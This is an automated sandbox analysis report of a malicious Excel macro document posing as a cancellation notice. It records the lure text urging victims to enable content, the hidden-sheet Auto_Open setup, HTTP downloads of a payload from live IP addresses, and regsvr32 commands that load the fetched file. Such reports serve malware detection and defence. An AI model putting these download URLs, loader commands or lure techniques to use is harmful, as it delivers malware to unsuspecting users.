Analysis Report Cancellation_1844611233_06082021.xlsm

Overview

General Information

Sample Name:	Cancellation_1844611233_06082021.xlsm
Analysis ID:	431666
MD5:	245c3e542030fb5f37cc1786c6d2ad52
SHA1:	d3659467af26b5cf1773b69bd6b9820b1b777dcb
SHA256:	72da5a8ba62bc25dfbe12f189664117f79db3fcf2d539e3b1f8abc3923e8a2ea
Tags:	xlsm
Infos:
Most interesting Screenshot:

Detection

Hidden Macro 4.0

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Yara detected Obfuscated Macro In XLSM

Document exploit detected (UrlDownloadToFile)

Document exploit detected (process start blacklist hit)

Sigma detected: Microsoft Office Product Spawning Windows Shell

Excel documents contains an embedded macro which executes code when the document is opened

IP address seen in connection with other malware

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Uses a known web browser user agent for HTTP communication

Classification

Signatures

AV Detection:

Multi AV Scanner detection for submitted file

Source: Cancellation_1844611233_06082021.xlsm	Virustotal: Detection: 26%			Perma Link
Source: Cancellation_1844611233_06082021.xlsm	ReversingLabs: Detection: 32%

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Software Vulnerabilities:

Document exploit detected (UrlDownloadToFile)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA

Jump to behavior

Document exploit detected (process start blacklist hit)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\regsvr32.exe

Potential document exploit detected (performs HTTP gets)

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 103.155.92.95:80

Potential document exploit detected (unknown TCP traffic)

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 103.155.92.95:80

Networking:

IP address seen in connection with other malware

Source: Joe Sandbox View

IP Address: 51.89.115.125 51.89.115.125

Uses a known web browser user agent for HTTP communication

Source: global traffic	HTTP traffic detected: GET /44356.227524537.dat HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 103.155.92.95Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /44356.227524537.dat HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 51.89.115.125Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.92.95
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.92.95
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.92.95
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.92.95
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 51.89.115.125
Source: unknown	TCP traffic detected without corresponding DNS query: 51.89.115.125
Source: unknown	TCP traffic detected without corresponding DNS query: 51.89.115.125
Source: unknown	TCP traffic detected without corresponding DNS query: 51.89.115.125
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.92.95
Source: unknown	TCP traffic detected without corresponding DNS query: 51.89.115.125
Source: unknown	TCP traffic detected without corresponding DNS query: 51.89.115.125
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.92.95

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\61190FA7.tif

Jump to behavior

Source: global traffic	HTTP traffic detected: GET /44356.227524537.dat HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 103.155.92.95Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /44356.227524537.dat HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 51.89.115.125Connection: Keep-Alive

Source: regsvr32.exe, 00000003.00000002.2173436473.0000000001E60000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.2174040381.0000000001E50000.00000002.00000001.sdmp, regsvr32.exe, 00000005.00000002.2175172538.0000000001DA0000.00000002.00000001.sdmp

String found in binary or memory: http://servername/isapibackend.dll

System Summary:

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Source: Screenshot number: 4	Screenshot OCR: Enable editing button from the yellow bar above 19 Once you have enabled editing, please click En
Source: Screenshot number: 4	Screenshot OCR: Enable Content button from the yellow bar above 20 21 22 23 24 25 26 27 28 29 30 31 32
Source: Document image extraction number: 0	Screenshot OCR: Enable editing button from the yellow bar above Once you have enabled editing, please click Enabl
Source: Document image extraction number: 0	Screenshot OCR: Enable Content button from the yellow bar above

Excel documents contains an embedded macro which executes code when the document is opened

Source: workbook.xml

Binary string: <workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x15 xr xr6 xr10 xr2" xmlns:x15="http://schemas.microsoft.com/office/spreadsheetml/2010/11/main" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xmlns:xr10="http://schemas.microsoft.com/office/spreadsheetml/2016/revision10" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2"><fileVersion appName="xl" lastEdited="7" lowestEdited="6" rupBuild="22730"/><workbookPr/><mc:AlternateContent xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"><mc:Choice Requires="x15"><x15ac:absPath url="C:\Users\Admin\Desktop\" xmlns:x15ac="http://schemas.microsoft.com/office/spreadsheetml/2010/11/ac"/></mc:Choice></mc:AlternateContent><xr:revisionPtr revIDLastSave="0" documentId="13_ncr:1_{4B72C346-643F-4012-BBC8-4BEF893AE02B}" xr6:coauthVersionLast="45" xr6:coauthVersionMax="45" xr10:uidLastSave="{00000000-0000-0000-0000-000000000000}"/><bookViews><workbookView xWindow="-120" yWindow="-120" windowWidth="29040" windowHeight="15990" xr2:uid="{00000000-000D-0000-FFFF-FFFF00000000}"/></bookViews><sheets><sheet name="Sheet" sheetId="2" r:id="rId1"/><sheet name="nowik" sheetId="13" state="hidden" r:id="rId2"/><sheet name="1rtgvrt" sheetId="3" state="hidden" r:id="rId3"/><sheet name="2dfgv" sheetId="4" state="hidden" r:id="rId4"/><sheet name="3fescvaer" sheetId="5" state="hidden" r:id="rId5"/><sheet name="4scdac" sheetId="6" state="hidden" r:id="rId6"/><sheet name="5fetaert" sheetId="7" state="hidden" r:id="rId7"/><sheet name="6vrtgarga" sheetId="8" state="hidden" r:id="rId8"/><sheet name="7rvgasdg" sheetId="9" state="hidden" r:id="rId9"/><sheet name="8aevgadrg" sheetId="10" state="hidden" r:id="rId10"/><sheet name="9rrvrv" sheetId="11" state="hidden" r:id="rId11"/><sheet name="10vghsdrb" sheetId="12" state="hidden" r:id="rId12"/></sheets><definedNames><definedName name="_xlnm.Auto_Open">'10vghsdrb'!$A$2</definedName></definedNames><calcPr calcId="191029"/><extLst><ext uri="{140A7094-0E35-4892-8432-C4D2E57EDEB5}" xmlns:x15="http://schemas.microsoft.com/office/spreadsheetml/2010/11/main"><x15:workbookPr chartTrackingRefBase="1"/></ext><ext uri="{B58B0392-4F1F-4190-BB64-5DF3571DCE5F}" xmlns:xcalcf="http://schemas.microsoft.com/office/spreadsheetml/2018/calcfeatures"><xcalcf:calcFeatures><xcalcf:feature name="microsoft.com:RD"/><xcalcf:feature name="microsoft.com:FV"/></xcalcf:calcFeatures></ext></extLst></workbook>

Source: classification engine

Classification label: mal76.expl.evad.winXLSM@7/7@0/3

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\~$Cancellation_1844611233_06082021.xlsm

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRBEDB.tmp

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Cancellation_1844611233_06082021.xlsm	Virustotal: Detection: 26%
Source: Cancellation_1844611233_06082021.xlsm	ReversingLabs: Detection: 32%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 -s ..\Post.storg
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 -s ..\Post.storg1
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 -s ..\Post.storg2
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 -s ..\Post.storg	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 -s ..\Post.storg1	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 -s ..\Post.storg2	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: Cancellation_1844611233_06082021.xlsm	Initial sample: OLE zip file path = xl/printerSettings/printerSettings2.bin
Source: Cancellation_1844611233_06082021.xlsm	Initial sample: OLE zip file path = xl/printerSettings/printerSettings3.bin
Source: Cancellation_1844611233_06082021.xlsm	Initial sample: OLE zip file path = xl/printerSettings/printerSettings4.bin
Source: Cancellation_1844611233_06082021.xlsm	Initial sample: OLE zip file path = xl/printerSettings/printerSettings5.bin
Source: Cancellation_1844611233_06082021.xlsm	Initial sample: OLE zip file path = xl/printerSettings/printerSettings6.bin

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Data Obfuscation:

Yara detected Obfuscated Macro In XLSM

Source: Yara match

File source: intlsheet4.xml, type: SAMPLE

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Screenshots

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Network Map

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Contacted Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
103.155.92.95	unknown	unknown	134687	TWIDC-AS-APTWIDCLimitedHK	false
51.89.115.125	unknown	France	16276	OVHFR	false
45.144.31.105	unknown	United Kingdom	42994	HQservCommunicationSolutionsIL	false

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://103.155.92.95/44356.227524537.dat	false	Avira URL Cloud: safe	unknown
http://51.89.115.125/44356.227524537.dat	false	Avira URL Cloud: safe	unknown

ID:	431666
Product:	CloudBasic
Start time:	05:27:12
Start date:	09.06.2021
Sample:	Cancellation_1844611233_06082021.xlsm
Cookbook:	defaultwindowsofficecookbook.jbs
System description:	Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Architecture:	WINDOWS
MD5:	245c3e542030fb5f37cc1786c6d2ad52
SHA1:	d3659467af26b5cf1773b69bd6b9820b1b777dcb
SHA256:	72da5a8ba62bc25dfbe12f189664117f79db3fcf2d539e3b1f8abc3923e8a2ea
Filetype:	Excel Microsoft Office Open XML Format document (40004/1) 83.33%

Name	Type	MD5	SHA1	SHA256
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\61190FA7.tif	TIFF image data, little-endian, direntries=19, height=1600, bps=53710, compression=LZW, PhotometricIntepretation=RGB, width=1600	BB737290D394078D8A16D5509C5BC970	C8A63B0AB1EB7745A0027E0A17A6CB4C6F79487E	E11121ECA3FAD55F66EA240EADD4F5B4C978828C94C34736F7673540529B17A5
C:\Users\user\AppData\Local\Temp\DCCE0000	data	69D79F7171AA2E0230CECF747BEBF3AF	864F5F341B7BC8D32D84F80BFD5FF190D6E5824D	4CA5984F511772513D3AC69D038A13E50169548A30375C3D37B2ED3AFA789EC5
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Cancellation_1844611233_06082021.LNK	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:13 2020, mtime=Wed Jun 9 11:27:37 2021, atime=Wed Jun 9 11:27:37 2021, length=340119, window=hide	64C7B0B8BA18D57C4AE57CE9EC96803A	2E0C8656898A851B5E0AD23374A8330B5FC82D3C	E76FDC4878DF4C27B46CE82261ED705541884B2697ECEBBC00254706B7662D77
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Tue Oct 17 10:04:00 2017, mtime=Wed Jun 9 11:27:37 2021, atime=Wed Jun 9 11:27:37 2021, length=8192, window=hide	9A3DF4A19F12AAEE8DAD249907A4A67A	2C1C405DCFDB502A2129FEFC4F1B0033E1E7B082	827DB0BE74D2FF422AD5A4211B9688497E31B395FAFBCA63EA14B97AB321FA65
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat	ASCII text, with CRLF line terminators	BDD24BA2D8E0AFD3162EC9939BEC776B	8BEDDA93C1AA179CA10365EDEA7C55B632C50DB6	BA7A6036F9BE60A282137610CA6572CB23113C3DF2162D5681E4168ECE918FFB
C:\Users\user\Desktop\ADCE0000	data	69D79F7171AA2E0230CECF747BEBF3AF	864F5F341B7BC8D32D84F80BFD5FF190D6E5824D	4CA5984F511772513D3AC69D038A13E50169548A30375C3D37B2ED3AFA789EC5
C:\Users\user\Desktop\~$Cancellation_1844611233_06082021.xlsm	data	96114D75E30EBD26B572C1FC83D1D02E	A44EEBDA5EB09862AC46346227F06F8CFAF19407	0C6F8CF0E504C17073E4C614C8A7063F194E335D840611EEFA9E29C7CED1A523

Analysis Report Cancellation_1844611233_06082021.xlsm

Overview

General Information

Detection

Signatures

Classification

Signatures

AV Detection:

Compliance:

Software Vulnerabilities:

Networking:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Screenshots

Behavior Graph

Network Map

Contacted Public IPs

Contacted URLs